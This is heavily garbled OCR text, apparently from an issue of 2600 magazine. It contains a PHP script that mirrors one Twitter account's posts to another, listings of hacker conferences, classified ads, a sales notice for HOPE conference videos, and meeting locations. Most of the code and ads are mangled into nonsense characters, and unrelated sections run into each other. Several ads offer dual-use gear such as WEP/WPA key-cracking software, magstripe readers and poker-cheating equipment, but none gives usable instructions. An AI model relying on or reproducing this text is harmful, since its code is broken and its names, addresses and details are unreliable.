I ' '  

• Reads lase tweets since a last posted tweet 1d, if any, from a 
• twitter account, 

post those tweets in another selected account , saving last tweet 
• id for the next loop 

• by @rvardit 2014 

• call this script llle every 2 minutes for example llk> thi<>, 
• 12 * • • • wget http : llyourdomain . com/tweetmirrorbol .php -0 llmp 

•Ia .html 

• I 
/' Load required lib files . 
* uses twitteroauth/twitteroauth . php 
• https : l/github .coml1braham/twitteroauth 

session_starL ( ) ;  
require_once ( ' twitleroauth/twitteroauth . php' ) ;  
I I config . php 
II define ( 'CONSUMER KfcY', 'XXXXXXXXXXX' l ;  
I I  define ( 'CONSUMEk SECRET' ,  'XXXXXXXXXXX ' ) ;  
require_once ( 'config .php' ) ;  
$dbname • 'twitter ' ;  
Sscreen_name_read 'hosepink' ; I I  t w  account t o  read tweet from 
• screen_name account 
$screen n<tme write • 'hosep1nk' ;  I I  tw account to send tweets from 
Sscreen:=name

-
s 'CE'KArgent.ir<l' ; II twitter scrcen_name to search 

.. tweets 
Sdebug�O; 
II file to get/save last tweet id 
$last_tweet id_file • $screen name . '  
II get last tweet id from file if n 
if (file_exists(Slast tweet_id hle) ) 

l1st_tweeL id.txt ' ;  
h ng 
{ 

$lilst tweet id ; file get_contents ($Vtst tweet_ld_file) ; 
) 
echo ' last_tweet_id : ' . $last tweet_ d . ' <br>' ; 

' Set user access tokens . • 1  
�Jccess_token[ 'oauth_token' : • 'XXXXXXXXoauth_tokenXXXXXXXX'; 
$clccess token( 'oauth token secret ' ]  'XXXXXXXXoauth token_seclnLXXX 
•xxxxx• ;  

f ($debug ) {  
Eo to "<hr><hl>access_token</hl><pre>" ;  
prlnt_r ($dccess_tokcn) ; 
echo "</pre>"; 

reatt Tw�tterOauth object with consumer/user tokens . ·1 
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$connection • new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, 
• Saccess_token (  'oauth_token' ] , $access_token [ 'oauth_token_secret' J 
• ) ;  
/ '  I f  method i s  set change API call made . Test i s  called by default . 

- * /  
$content • Sconnection->ge t ( 'account/verify_credentials ' ) ;  
$c•(array)$content; 
if ($debug••}) I 
echo "<hr><hl>TwitterOauth</hl><pre>" ; 
print_r ($c) ; 
echo "</pre>"; 

I 
1 /https : //dev . twitter . com/rest/reference/get/statuses/user_timel ine 
Sfilter•array ( ) ;  
$filter[ 'screen_name' ] •Sscreen_name; 
Sfilter[ 'exclude_replies ' ) •true; 
Sfilter[ ' include_rts' ] •false; 
iE ($last_tweet id) ( 
Sfilter [ 'since id' ] $last tweet_id; // 567797801678299137; //lDDt 
• tweet id from �creen name user 
$filter( 'count ' ] 200 ; 
)else{ 
$filter[ 'count' ] • 1 ;  
) 
II recall last 200 tweets since last_tweet_id 
$content•$connection->get ( 'statuses/user_timeline' ,  $filter) ; 
Sc (�rray) $content ; 
Sc array_reverse ( $ c ) ;  
if ( Sdebug••l) { 
e�ho "<hr><hl>Last Tweets</hl><pre>" ; 
print_ r ( S c ) ;  
echo "</pre>"; 
) 
II i f  there is any content to post then do i t  
toreach < S c  a s  �k�y •> $value) ( 
$v• (array) $valu�; 
//the original weet 
echo ($v[ 'text' I . ' hr>' ) ;  
II $tweettext 'I ' . Sscreen_name . '  ' . S v [ 'text ' ) ;  
$tweettext • $ v [  't�xt' ] ;  
II do any changes to the tweet text here: replace words , links add/ 

•remove words or links 
$tweettext • substr ($tweettext , 0, 1 40) ; 
II post new Tweet here 
$content • $conneclion->post( 'statuses/update ' ,  array ( 'status' •> 
• $tweettext ) ) ; 
II delete las id Ole 
unlink ($last_tweet_id_lile) ; 
II save last_tweet_id to a file 
file_put_contents ($last_tweet_id_file , Sv[ 'id_str' I ) ;  
if ($debuq••0) ( 
echo "<hr><hl>New Tweet</hl><pre>"; 
print_r (Scontent ) ; 
e ·ho "</pre " ;  

d e- ;  
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Li\tctl here arc some upcoming event� of interest to hacker... liacker conferences genemlly cost 
under S200 anti arc open to everyone. Higher prices may apply to the more elaborate events 

such a' outdoor camps. If you know of a conference or event that should he known to the hacker 
community. email us at happenings@2600.com or by snail mail at Hacker Happenings, PO 

Box 99, Middle Island, NY 11953 USA. We only lbt events that have a firm date anti location. 
arcn 't ridiculou,ly expensive, arc open to everyone. and welcome the hacl..er community. 

October 6-7 
GrrCON 

DeVos Place 
Grand Rapids, Michigan 

www .grrcon .org 

October 14-16 
Maker Faire Rome 

Fiera di Roma 
Rome, Italy 

www.m:1kerfaircrome.eu 

October 14- 16 
ToorCon 18 

San Diego Westin l:;rnemld Phua 
San Diego. California 

sandiego.toorcon .net 

October 22-23 
Ruxcon 

CQ Function Centre 
Melbourne, Australia 

www.ruxcon.org.au 

October 28-30 
Pumpcon 2016 

Khyber Upstairs (56 S 2nd Street) 
Philadelphia. Pennsylvania 

www.pumpcon.org 

November 4-6 
PhreakNIC 20 
Clarion Inn Murfreesboro 
Nashville. Tennessee 
phreaknic .mfo 

November 17-18 
Kiwicon X 
Michael fowler Centre 
Wellington. New Zealand 
www.kiwicon.org 

December 27-30 
Chaos Communication Congress 
Congres> Center Hamburg 
llamburg. Gcm1any 
www.ccc.de 

January 13-15 
ShmooCon 2017 
Washington llilton Hotel 
Washington DC 
www.shmoocon.org 

Please send us your .feed hack 011 a11y events you attend 

and let us know if they should/should not he fisted It ere. 
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For Sale 
11'1"1'1'://CRYPTOBIZ.DIRECTORY nlfc" md1viduab a 
comprehensive on-line bu''"�'' pre...cn"·� Show the wurld 
}our profe"ional �ide: prolile page. email .1ddn:". ,lfld phone 
number wirh voice mail on n Jl'l)''-'' you·�o "a'i' Secured 
W&lh apcn �rce \Ofl\\olrc and hlhl\.-d 111 J ctut\trtt!d S\\ i�' 
bunJ..cr deep im.ide a mountam 
Bl.l ETOOTH SEARC II FOR \ '\UROIO \Can: he' 
for nearb} di'<.'O\ernble Bluccuoch o.:-.<e, Run' 111 lbe 
b...:L�mund "hile }OU U\C (�her •1'1'·. ll."<(>rJ1n1 Jc\l.:e' 
name,, ...ddf'C"'osc ... . anc.l 'ignal 'tn:ngth, ,1lnng \\&lh devic..� 
I)J'I'C. \oCJ'IC.:C\. and manufo•ctur\.'r, ll.mdlc, Rlu\!h•lth Cla\.\iC 
JnJ Bluctouth LE (on LE"-'I"'ppc.t 1\ndrm.t dc'lce,). Thi' 
'' ot v.tluahle tO()I for otn)on< «.leh•lnrunr llhtt'lovrh o,ollware 
\C..:unt) omditol"'! loc.,�ing lur pnlcnll•tlly vu1ncro.tblc Uc\ i'-=c'· 
ur unyonc who\. ju\1 curiouo, ahmll the Ulu"tnulh device� in 
thc1r mi\h,t.. Expon' dc!vicc dou.l tu a ('SV hit: fur u'c in ulhcr 
pm�nnmo. clnt�tbn"e�. ett. If you've u'"�t tcml\ like ht,canncr. 
Spnoffoopll. llornld Sc<��t. or Blueing on nthcr placlonn,, you 
need Bluccnoch &arch nn your Andmul Jcvicc. Mnn: 1111i> .md 
dnv.nltxk.l o.•t hupJ/tin)url.c:um·hl\c:.ul. 
II \CKERSTICKERS.C0\1 h." .ld<kd cnn' nf '"'" 'h'n.' 
and ln.:� picb for hacker\. prn�rJOllllcr and ,..,,,.nl} �Cd\. 
Get il free \tK:ler wilh pun.:h.J"4!' JU't add to 1..'1U1 oand enter 
'l'n.�'tu.:L.·· a1 dk .. -cloul 

Help Wamed 
00 YOU KNOW TilE SECRETS of display adveni,ing'l 
\Vc ncctl '-<llllcunc 10 1n1p1cmcnt our proven bu ... mc'' model 
U!<� well as thc&r O"-'n knm"l�dgc to optimize our webl\&1�:\, 
If you are imcrc,ccd in mJkm� ccn' of thousand' momhl). 
comact U\ .at \.C1Unthng.,J9X2<n yahou.c.:om 

AIIIW///IC('/111'11/.\ 
SECI:R� \I \( .C0\1 I� 8.\CII. '"lh the c.cc'c Appk 
"<CUOt) OC\h1 Suhnul )t,UI arllc.:Jc,. \Hiteup. ancJ ,td\l'"lric,, 
Mac:Sc:an � "-J' j11't n:kJ�d .h v.t:ll offt."'ing anti·malv.arc 
pmcccuun for l\l.tc OS X \''"' s._._,un:Mac.com. 
AUSTI!\ IIACII. •. RSPACi': A 'han:d worl..,hup w11h 
eleccmni<'\ lah. l.l'<'r <1111"" 11) rnnh!f\. cr-:c m:�<:hine,. "" 
ba). WOfK.l\\ntllll!!• und 11Ktn:1 $6Utf11U for 24n UCCI.!\' IU <Ill 
thb and 11 �rcac <CH1111llllllt} as "ell. Open �lou•c and open 
mcecup' wcc�ly. 970 1 Dc"au l�u. AuMin. TX hccp:/hllxhs. 
org./ 
HAVE \'OU SEEN Tm; NEW 2600 STORE? We've 
llnally n1>1Uc I he JUmp 1111o chc 2 "' ccncury w11h a store that 
ho.b mc)f'C rcature .... ha,:t..cr ,tult, anU enc.lle"'' f>O"'ihili1ie' th:m 
C\'l.'r before \\'l.' no"' .tn:cpt B1tc:nin and Googlc V.'allct. �llong 
"ilh che "'""I <n:dll <·'nl' and Pa)Pal. We ha\t m<>� UIJ)Ital 
downloo<l <'llfl"hlhl) fc>r the m•ga�,ne and for HOPE 'ideo,, 
Be,c of all. "c' \ c k>.,ercd pr�<:c' on mu.:h of our \l<lCL Won 'c 
�ou pay u' a \  i�u ' ,.tnre.26UU.c.:om f'ORT\BL£ PE.."\'ETR \TOR. hn.l WI'\ WP!\l WPS 

\Vah 1\.c)' Software. CU\I<lnlt/C repm' U"if.! for l'On,uhing. 
IHCf">:�t,hop_,e<poinc.com/�6m Sen·ice.\ 
IIACK£R \\A REHOUSE " }llUr nne ""P '""P lor hJ�Lmg DOLULI·.IIOI'l•n: " "" cd�y \P1\. \tan up aimm� to 
cq01pn>enc. We under..cand che ""l"'n•n>.c nl ''"'I' and gear rock che 00:11 wich d<>uhlc \'I'N hup' and encrypted mulc1 
wh1ch " why "" carry on I> chc h1�hC>l qual II} �car lmrn the datacenter llllcn:nnnc•C' We cnahlc chen c. to VPN cocouncry 
he\1 !nand� in chc industry. Fr<>rn Wih llncLn1g to ll.mlware A. :md cnm,parcncly exn «>uncr� 13. Increase �our pmacy 
lhu::�111g 10 Lock Pickito. we c�uTy C<lliiJllllCIII thtll ;lll hnckcrl'i with multtpl�.: lc�al JUIJ,du:t•nn.., and lemc your tradilinnul 
need. Check U\ out at llackcr\Var�huu...c.com VPN behind! We don't keep log,, 'o then.�·� nu way lor lh 
CLUII·MAT£ is now c'"Y co �cc m chc li111Ccd Scace'' 111c co cooperacc w11h I l;<h. even if we fch compelled cu. we 
caffcmatcd Gcnnan bc\cra};!c i' a hu�c hll .11 un� had.er simply rc,roncJ \\Jih nne hncf"' from 5n Shadt>.\. We acc.:cpl 
goUik."ring Available in two c.auaniiiiC:'� S,_,(),l)t) pc1 I:! p.tc.:-k \'lr Bitcoin .ami prmnou.· l'IIU)'JliCd rc�i,tnttion O\ cr l\!ll'�r.un 
$51.99 per I M pack of half hccr l>t>ulc, plu' ''"PI""f Wncc co Mc,\Cngcr L-c J'""'"' .:�>de C'OSBYSWEATER2(,()() lnr 
(('tlta�.:l(" club--mate.u' ur on!tr dar\"\:lh lrmn �otnrc.1J..CXh:om. 5U'i oft ChttJh. 1"-"" dr•uhlt..:h(lp.mc). 
We are """ "OI'I.ing to 'uppl� ''"'"' n '' ""'"de lull JcCJil' Ll!>lf'l TO 111F (;R I• \ 'lOlSE POOCAST. There ·'"' 
at duh..mate.U\. man} mfonn.llu•n 'XUflllr �-•• ,t, oul there. and \\C'rc JU\t 
G \MBLI;'\G \IACHI'\C,: J \(I\ I'() IT• R,, pnndhle one olchem. \\c ""' l>erc lor the "'"''""' 3lld 'cccran' ahLc! 
m.agneCJc Mripe reader-. � \\rite Rl·ll> n:..Jcr "ricer\. The �n:)no•'" pt><k'll>t d'"'"""' g<ncrnl ne"'· -.;1en<c 
lod.pu:k_,, \'ending ma�hnk ;;��.:�Jle.llltcn.. �··on'l.:calablc and pri\.lC) a, Y�dl ;h h.:,hn<.,lv�) 'p.:cific h\uc,, all from 
hl;�ckJ•"� canl coun11ng cUlll(l(llcr,, pt>Lcr chcahn!! chc hacLcr JlC"I"''"'c· Rccurdcd LIVE ac chc SY'\Shop 
cqutpmcnt .. computer dt\i�,:c:,, udomc1cr pw�ntnlt�f'\. and Hac:kcl"\p.,t.:� 10 I .. J, \c!!·•'· �V. Frida)· night'� •-" 7 pm 
much more. ww''*'.h3clcf'.homcpa�c.cum Rl.-..:ordctJ 'hmh urc u'u;tll} online b) Monthl)' C'-'Clllll8' 
PRIVAC\'SCAN "'"" '�' & dc''"'Y' prml<) chrml\llll lhc Mile liave a ii\Cen t�nu \\C I.()Vt I�'Cdback! hccps:l/grqnoi.sc 

"'1'"'8 yuur cracb nn where ynu wrf .u1d wll.ll yuudu 011 ynur UIGITAL f'OitENSICS 1'01{ TilE DEFENSE! Scn-ei 
c.:omputcr. Lc�tm mon: Hl http://pnvac}'cun \.Cc.:ur.:nmc.cuml Entcrpri'e' ll\:lh�·"c' in the COihlltutinnal right to a /C"1m•' 
A I'OOI.'fOTALK TO CIIIPS. Ii', 1hc nmldlc nlchc nighc. defense, and hads up chac belief by providing chc l11ghes1 
YoUl'tHnpilcandprogr.a.m h:,lc.:utlc torwlt.tt nn•,t h..·thc..- IOOUth quulit)· dif!ital fnrcn'k' and electronic evidence 'uppmt lor 
lime. o.gg.ng through the datot .. hl'c..'l' t&�iiiO. �nu wnnJcr criminal tJcfcn"" oltiUrtlC)\. Scn ,c•\ digital forensic examine" 
ol Ill< prohlcm h in }our "'""'· a �r<>Lcn mim•:.•nm•llcr... hold chc prnci�i<>t" CISSP. ('('F.. and EnCE ccn,hcatll)n' 
'"hn lnn\\ ,•J lbere arc a m•lhclll P''''ltHhliC\. anJ }tMJ

.
,t!' Our \Ctcran �\lll."rt' an.� ':nul under hre in a counf(l(lnl 

a tread) tric.."d C\l!'l)thmg '" ic.:c. lma�mc •I )UU -.:ould tJlc �nd their fun:n,,\.. l-llll' .tn� 1mpxc-ablc We rconcr dJta 
lb.: (ru,tr4liOn t)UI of l!!am1ng ;ahcM.U a nc-\\ ch1p.l)pc a rev. natinn\\id� trom man)· sc.xtn:c .... mdodmg compulcr". 
mtUIII\C 1.:4.'mmanc.h inro tht Ru" Pat3h:·, �m1'1c CtHh.c.lle C\ICmal Olf:dl3, 1.1hkh • .  md .. manphonc..�. \\'e h:mdk a 
mrcrf:tc.:c 1lle Bu ... P1ratc tran'l�•t(' ttk- t.:''r1lr1Unds amo \\ide ran�c of ..:a"C,, IOCh.k.hng ha.c.:ling. child ponlograph) 
the C.:(lN'l."<'l 'lgnab . ....cod' lht-m h• the: 4:h1p. nnd the rcpl} Poh�"•on/di,tnbutu..-., �)li�uauon of minot"\. thclt ul 
·'J'J)Ctl� on the 'cn.:cn. No mdn: "')0') ,I�)Ut 10\:t'ITl.'c.:l cndc proprietary d.1U, d.11a h��•c-hc .... intcn.:c:plion of ckttrllllti: 
o.tn\1 pcriph.cr.a.l -..--onhguratlc.m. JU'I purt' d�\dupnk:nl fun for cnmmuni\."aiUUl\, �tk.·nlll) lhclt, rape. munlcr. cmbc711cmcm. 
unl� �10 mduding "''rlu '""" shll'fli"ll· C'hc�� uuc ch" open '"re lr.1ud. ""�ctccnng. C'il""'a!!C. cyber ham""'""'· <>be• 
'oun:c pmjcc.:t and more at Dan�cn)\1\Pmtnt)'(>('·'om. ahu\C. tcnon,m, .111d mnrc. Our principal' arc co�author' uf 
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f...o<-l...t·d Vmu1. Prttc·rict11 lnfirnmwan S•·ntril' for l�th wn, 
2tu./ l'(ltlioll �Arncncan Bar 1\'MX.:Iilllt.lll 2016). Emnplion 
Mtufc• Simt>h· }in l.<myt•r> (Amcrocan Bur A'socimiun 201 �I. 
and hundred' c>l anicles on dot�otal fnrcn"c' and an ""''"' 
winning blot: un cle(tn.lnic ev1dcn�o:c The) lecture th.mu�htltH 
l\orth Amcro.:.o •nd hl\e been ""'"""•'tl by ABC. �me. 
CBS. C'l'>, Reule,..., man} nc" ,p.opef\. and C\cn Oprah 
\Vinfrey·, () ma1!a1anc. For more mtunnat100. call "' .11 
703.359.(17(M} or cmaoJ U\ 31 \Cn,eo6• \Cn\CoCni.COm. 
GET YOIIK lli\M RADIO LICENSE! KB6NU\ "N11 
Non�cn,c" 'IUdy �uides make it co'y tn J:!.Ct yourTcthnic.:tilll 
Cia:,:,. anHitcur radio license or upgrudc (() Gcncrul Cl.l'\ 
or E"m Cia" The) are al\\J)' Ufl lll dute ami ckarl� anol 
'occinc.."tl) C\ploun the con�cph, "'h1le at the \;JJtlc! linK' 
give }OU lhe ""'"et" 10 all of thc quc,uon' on the "'' lh • 
PDF '""'"" nf the Technocoan Cia" '!Ud) J!Uodc " fre-e. 
buo there " ,, 'mall ch"rgc lor 11>c other •c,...oon,. All ol 1he 
e-book vcrMnn' HrC available from WWY..kb6nu.com/�tudy 
gt��de�. l'apcrhad. vcr.-tion' nrc uv;lilahlc from 1\malon, 
and .m tluthohunl \�r.-.ion of the I'Clh 'tut.l)' guide " 11\')W 
a\ailahlc frum Authblt.!. E-ma1l l'\\.�ttllo kb6nu.t·um lur 
more mftlm\.tlltln 
SECl Kt; l 1\.1\ SHELLS &. IIOSTII\G St:\Ct 1999. 
JEAH.NL r I" une nf the oh.Jc.:,l and nl(''' lnt"'ted for (."' 
'table 'hell .tccounb. \Vc pm'"ic.lc.: hunllrcd\ of vho'l dorn.un.., 
for IRC unc.J cm.til. the lalc'l JXl[lUinr Ill.\ pr01:;r..tm,. iiHC" 
teo cl:l\"c 'hdl pmgmn" unci cumpolc". Jf:AII.NE"I pmuolly 
h'"" cggo.lrcop. llNC. IRCD. atlll l'eh ,;,e, w/SQI. 2MHI 
readc" · '<lllfl icc' nre ah'a)' \\-,u\Cd Bn\'· FYNI· roM 
tour "'•er co.l nile" free Dl'S h<hUn� .tnd WHOIS pm..:y 
fOf S"\ �) \\llh all domain� I"Cl:!-1\ll'f\.� ,,.. tr.an,fcrrcd m' 
11\TFU,I(;� :\T II \CKEKS l '\I\ SIIF.I.t: Rc\cr-c 'l:ct 
" own<'tl ,ond llpcr:ued b) mtcllo�cnt IM.:kcf\. We hcl"·'c 
every u\Cr h." the right m onhnc \Ccumy and pri-.ocy 111 
1odny\ h<Nolc .onu-huckcr mmc"phcrc, imclligcnt hudco·, 
require the nee<l fnr ·' \C'<:Ure pl.occ In ""'�· conopolc . •  ontl 
e<plore wothuut hog-br<llher h>okillr mer their 'houldcr. 
Ho,tcd on ('ht<,ogo \\llh Fohcred l:l<>S Prme<ltnn. \luluplc 
Dual Core h('c8SD -.cnc ..... i\llnnl.oble procmg lrono \�1 
month." olh a mnne) l>ack guaranlc-c l.ofcume 2Mt "'"'"""' 
for 2600 re•tlc" Coupon Cr•de· S;o•c26110. hnp11"""' 
revcl3c.net/ 
SUSPECJ'EO OK ACCUSE!) OF INTEKNE'I· 
RELATE!) CKIMK')'/ Stnnd up lur ynur right'' Bt• 1••lnc. 

re;pcc�ful. und c.olm. Repeat ynur 0\\11 vcf\oon of the 
folio"'"� mantra "Ofhccr. I re'pcclhtlly on•olc all ol Ill) 
legal and C'ucNotuuonal nghllo. Ba-ed c>n Jd, ice of c"un..:l 
I respcxllull} l'l."tJUC-.1 to talk to Ill) '"")Cr. I \\ani lo reno.un 
solem . •  md I '"II nell con<ent to an) -.arch or <oei1urc Am 
I under nrrc't! Am I free to IC!I\e'J Can I go now''" Omar 
Figueroa " un arutre"ivc Con�tiluliunnl unc.J criminal dd.:no,c 
lawyer w11h c.pcnencc repre-cnung perwn< nccuo,cd ol 
hac�ong. cra<km�. mo>:�ppropnallon c>f tr:odc '<-'CI'Cl'· and 
ocher c:)bcr,nrn.:' Omar Is a -,cm.mlic.: \\.anior c.:onmuth.:J 
to the libcmto<>n of onfon113toon (aller all. onformauon """'' 
10 be free and "' do we). and 1<>1' nM>rc than a �';)(!c h�' 
pro,·idcd PR' houno rtpreM!nhUion tor IMl·Lcf\. whi\llchlo\\cr,, 
and hack II' i\1\. fllhC client� uK.:Iudc Kcvm Mltmck hnllhun 
dollar baol Cii\C in Califomin Supeoior Coun d"mi,\C<Il. 
Roben Lyulc ol' "The Dcccpuve Duo" (patriotic h[l<!�ll"'' 
"bo ••r<•-cd elementary vulncrahdol•c' on the Unoted State' 
inforrn..tllon infrd,lnk:lure) and \'mc.:cnt 1\c"'haw (pmt�.:,tcr 
alle�redl) cClltn<'Cicd wolh Anon)OK><h m\nhcd in a 000'> 
action a�am'l Pa) P:ol and mcmbcr of thc Payl'al 141 
Abo. g•'<n th.n the -.-orlch of 1he h.o<kcr and tloc cann•h•' 
con no""'"" '"" c ollen omc,.....led lll\torically. plea-c nlliC 
thai Onwr uho defend� non-\ •olen I humnn lleing' ;_tccu�cc.l 
of comnullnlg cmmabi� on·en'4!' �anti ul'(> help' hi' clicnh 
under.:.wnd the cumplex mate of medical marijui.int.t-rc:latcc.l 
la"'"' omd rc:gul.lll<m" in Cahfnm1a. l'lca.� contac.:t Ont.lr 
Figueroa al (415) -189-().120 or (7071 !129.()115. al onoor 
alumno.,lanhlfd-<.'tlu. or a1 l..a" Ofh"''' of Omar l·o�ucn ... 
7770 HeaJd,burg "'e .. Ste. A, Sd>il\l<lJX>I. C,\ 95-172. 

II \CKFKS. I'IIKEA"-EKS, COMI'U I �.K NERDS. l·c-.:1 
disillusioned. dt:prc,\Cd, .md cli!-i�oatislu.:d with the way your 
lift.· i\ P'-'''illl:!'' N�.·ct.l ltWI!. huppincss, tugcthemeM •. and 
hnancial lre�U<lll1'1 llcre i' th� \()Jllh<lll 8� Woth U\ to he 
your-.elf. You cun hc mdcpendent b) J<llnmg wnh your �md 
!enjoy lh< pc·Mobohtoc' of colle<tovc thou�hl. "ith a!o>O<IJte' 
""" feel and thonl JU'I hke )OU do. Bn::�k that old rouhnc. 
and <bre to explore "-' ""'thong new and uruque. Contacl TilE 
111.;8 at: 1'. llrnn ... ,n. PO Bo• IOOO-M·!II63. Houudale. I'A 
16698 1000. 
Fill FILES l'uhhc 'crvicc wcb,itc' GctC.mndpru.FBifilc. 

com and GctMyl lllhlc.cnm pnwodc "mpk fonn lcllc" h> 
�Cl do\\ I(" rrmn the: l·  Bl and ut�r agt:n"ics. Free of charge. 
Yo>u �an al-.o pruu out the blank l'l."tJUC'I lcmplJie< if you 
prefer 1101 lo '"'"" pcN>nal infomo.uoon \\hole u'ing the 
\\Cb�itc. 
A"'TIQUf: ('0\ll'lTrERS. l·rom All<h to Zorba and 
cverythirog 111 hctwccn • Apple, CtmumKh>n:. DEC. IBM. 
MITS. Xcm�.. vmwgccomputcr.nel os full of cJ[L"ic 
computer h�uJ\\otrt: rl'�IOnttion inform�ltlt)n. link.;. 101\\ or 
photo..,, \ldt:n. lh-.·ument \Can,. amJ huw tn article�. A plac.:c 
for prt..�f\ mg hl,hlril:al compute". muntaimng, \\Otkmg 
m:k:hanc'. runmng a hbrat) of h .. ard In hnd c.lol-umenrattOn. 
ma�az'""· SIG materials. BUS ol"k'· manual-. and 
hrochum from the 1'15(h thmugh the early WWWem hllp:l/ 
\\ ww.vin lotl!cc.:omputcr.ncl 
DATA RAIN SOLUTIONS ;, a hudding Cnlnrudo IT ,lal1llp 
'pccialutnl! in rclinhlc ami affonbhh: remote Itch support 10 
;.uham .. '1!d 111.11\\arc renlO\:ll. PC opumu�uion. diagn<hiiC,, 
•nd more. 2MKJ "'h-cnbe" get IO';f C>ll theor liN <H'Ilcr. 
:t.'·need ta,h, '" I )C:.Ir '-Ub. Contac.:t U\: 'hana.ro�mi�' 
)�.com Vi'll u': hnp://er.hanamnca\Omi.\\l�.co•n 
datarnin.Jom th� ll';lm' (Jiackcl' "ckomc) 

Personal 
OI'EKATION !'RISON PIRAT .. : need' your help! OPI' 
'vtcdia ''"ned ·" a hnhb} on 201? to pnmdc uncen>OI'l.'ol 
mformat1un and cmcnammcnt to v anou" pn"ll O..\ in the U.S 
bu1 ""'" hol lloc lunu ol what \\C ••n do b} our.cl-. .... \\c 
reall} n«U olonaloc>n' h CO>L' u' al>out $511 per broadca\1, 
"II ou1 ul pcl<�CI Recent!}. our maon transmmcd wa' 
uamngcd . •  tml "" <>�n'l afford 10 replilce it. We ore al'o 
loolo.tng for engineer�. producer,. vo1ccovcr 1alc111. ur 
ttn)'nne �hu can help U\ in any \\il)' \Vc'd like 10 expand 
to c.:O\Cr c\cn mnrc prl-.on."· but \\c rll:-.!d \omc help. E·ma•l 
U\ 3t OPPm.:uo.of• hu,hm:ul.com. and -.nd btlCOIIb 10 
IH-ItpX"!I-Iq'.1Wl L7RtnUi\ VpmuUIMl\QJE. 
\TTE�IO'I \\OK I. I) HACKI,RS. Eo�hl }ean. of lh" 
BIS l..ookmg for mc•ti\':Oicd operalove' '-'hO can po>t Ill) 
name and .1dUn.:" ;all over the lntcntcl omc.l darl net ')() I can 
receive lhc liUt''l h:�,;h mform:uiuu. hu"'inc" op1xmunitic' 
(and hot gorh): l),ovid Rademaker #PO 1161 , RJ Donovan, 
4ROA1ta Road 'ian Doego. Califom"' 9217'). 

O'il.\' SUBSCKIUFKS CAll. AD\ FRTL<;E IN 16()(}! 
Don't e\cn thmk ahout U)tnj! to take <>ul an ad unle'' )oU 
'ub-crihe' All :od' .m: free and there " no amount of money 
\\C will O<CCf'l loo n non·\Ub\Cnhcr ad. W< hope that'' clear 
Of eoun.c. we rc-crvc the righl to J'l"" judgment on your ad 
nnd no1 prinl ll ol n·, amazingly \lurid or h:b nothing ut all 

II> do woth the h.oc�er world. We ma�c no guaramee a_.. 10 lhc 
honesty. nghlci>U'nc". "'"i1y. clc of lhc po."ople ad, en'''"!! 
here. Conla<l thcm at )OUr peril All 'ubm"'io"" are lor 
ONE ISSlil 0'11 Y1 If )OU "·'"' '" run )C>Ur od more ll1an 
once you mu'l n:'uhmH it eac.:h tunc l)on"t c'pc..'tl u\ to run 
more than one ouJ lor )'OU in a S1nglc 1\\UC ci1hcr. lnclucJc your 
nddress labcllenvclnpc or a pholt.>CilJlY '" we know you're u 
subscriber. II you're an clcctroow 'ub,cribcr. please send u' 
a copy of youo 'ub-cnption reccopl Send your ad to 2(xH! 
\larl.etplao.:c. f'O lln> 99. Middle l'land. NY 1 1953. You cOUI 
al'-0 email )OUr a<h In '1-Ub\@ 2600.c.:om 

l>cadlinc for \Hnlcr io,;,uc: 1U21116. 
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THE ElEVENTH HOP �: 
I t ' s  over. You missed i t. 

Or you were there and found yourself incredibly frustrated at 
all of the things you wanted to see and do, yet were l i mited 

by the problem of only being able to be in one place at a time. 

Either way, we can help. We've got high quality HD recordings of 
every last talk that was given in the three main tracks , plus the 
Open Microphone and Hackers Got Talent post-midnight sess ion s. 
These are by far the best looking videos we've ever had. 

We're making these available in three ways: 

Full sets of all talks in MP4 format , no DRM, 
easy to copy, for $89 on a 128GB thumb drive. 

(We told you these were high quality - that ' s 

double the space we used two years ago ! )  

On DVD, where a full set of over 100 DVDs will 

cost $249 or $2 . 99 per DVD (and no, we are not 

going to use multiple pages to list all of the 

talk titles here - paper doesn' t grow on tree , 

after all) . 

For download directly from store.2600. com at 

59 cents a talk - you get the same MP4s that 

would come on the thumb drive, but you can 

choose the ones you want and not have to deal 

with any hardware . 

A full list of talks can be found in The Eleventh HOPE video 

section of our store. Everyone gets the Internet Society talk 

for free (they 're the folks who made the HD stream possible and 

without whom we wouldn ' t  have this amazing archive ) . 

Also available at our store are various leftover HOPE items: 

shirts , badges , empty Club-Mate bottles, whatever we could find. 

The conference may be history, but the fun can continue until 

the next one. 
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:!ol ... ��mt�•�=��� 10M rtcar JtahiUI 

AUSTRIA 
Grn: Cafe Halttsttlk en Jal.om.niplau:. 

BELGIUM 
Ant•trp: Ce�11ra1 St:��ti(Jrl, cop or the 
�ain jr�abe main ball 1 pm 

8RAZlL 
Rt.W Horhcmtr: Pclesu·, Bar at 
Auufeas. ttnt tbr paypbooe. 6 pm 

CANADA 
A Ibm:• 

C..lpry: food court of Eau Cl.1tte 
Millrl:d.6pm 
Edmonton: Ekpiwlt & C�ntle Pub. 
10314 Why�e Aw;.�r b•g red tel�pOOne 
b<»..6pm 

Brilisb Columbia 
K11m.loof».: ScutJmc St 1t1 Old Mrurt in 
front M11m Honon'i, TRU camplb 
Yancounr: l!UetM!IoOn.:al Villtlf.r! Mall 
foodcwn. 

t\tlnltoba 
\\'lnniPfK: SL Vital Shoppllt$ Cc:ntte, 
foodcoun by HMV 

N�w 8runswiC'k 
Mooc:ton: Champltun M�ll food coun, 
ncM KI-"'C. 7pm 

Newfc;undland 
St. Jotm '»: Mcmonlll Ullivm;ity Cm«...­
f(l()d c:oun (111 ft\)llt of' the O;ury Ql.l«:n). 

Ontario 
Ottaw!ll: World E"ch���tge Pl:aza, Ill 
A1brtt St,4«()CCd fti)(M' 6:30pnl 
Toronto: Frtt Times Cal�. College and 
Spildm1, 
Wlndsc»': S:u\dy'�. 7120\Yyu;nclotte 
St B.6 pm 

ClfiNA 
llonc Kong: hclfic Coffee in f-cshVII 
WAlk. Kowk»on TOO$. "1 pm 

COSTA RICA 
lfcr«<i•: foodCOQn. P!L1COck w 
FI�M�I. 

CZ·F.CHIA 
Prqur: Lc� pub 6 pm 

Of.NMARK 
Aalborg: FaJt Eddi<'� pool hall, 
A•rh&ts: ln !M far �rnn ollht OSB t. ... fe 
in the raiJlliJ)'JIIIIIion 
Coprnbaa�: C:tfc B�n 
Sond«bort: CDfe 01\ldl 7:30 pm 

t1NI.AND 
fft>kl.nlll: ftnmakooteh food coun 
(Vuonk:111u 14). 

>"RANCE 
C•nnl'$: Pr�Jnd de<! !Uiv:.ll & � 
Con&«' I� Cro�k c,:on &be left Ji<k 
CrtnOblt:: EVE perf(lr'IN� hall 011 d1e 
c:ampus of Saml MMttn d'Ht:ro. 6 pn1 
